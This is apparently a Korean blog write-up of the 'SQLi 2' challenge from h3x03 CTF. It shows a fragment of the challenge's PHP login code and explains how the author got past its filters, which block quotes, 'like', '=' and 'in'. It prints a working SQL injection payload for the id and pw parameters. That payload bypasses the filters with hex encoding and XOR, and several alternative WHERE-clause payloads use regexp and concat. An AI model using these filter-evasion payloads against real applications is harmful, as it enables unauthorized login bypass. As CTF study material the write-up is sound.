2017.01
h3x03 CTF
SQLi 2
".$query."
"; $result = $mysqli->query($query); $result = @mysqli_fetch_array($result); if ($result['id'] === 'admin') { die($flag); } else if(isset($result['id'])) { echo "Hello {$result['id']}
"; } } highlight_file(__FILE__); //made by ch4n3 ?>
필터링이 상당히 빡세다. u가 필터링되있어서 substr 등 못쓴다.
order by, group 등 다 안된다.
like, =, in 다 막혀있다. 쿼터도 막혀있다.
쿼터는 hex로 우회하고, like는 XOR연산으로 우회한다.
조건을 세 개 주고 뽑았다.
0. a로 시작
1. 5글자
2. 두 번째 글자는 b
0번 조건만 주면 adadadmin 이렇게 뽑힌다. 그래서 5글자 조건을 준다.
0, 1번 조건만 주면 afmin 이렇게 뽑히고..
그래서 마지막 조건까지 준 것이다.....
페이로드
?id=\&pw=))||if(hex(left(id,1))^61,False,1) && if(length(id)^5,False,1) && if(hex(mid(id,2,1))^64,False,1) #
정규식 이용
where id regexp "^admi"
where id regexp concat("adm", "in")
신규 페이로드
where length(id)<6 && hex(left(id,2)) < 6165 #
where id in (concat("admi", "n")) #
'write-up > CTF' 카테고리의 다른 글
tuctf2018 lisa (0) | 2019.01.09 |
---|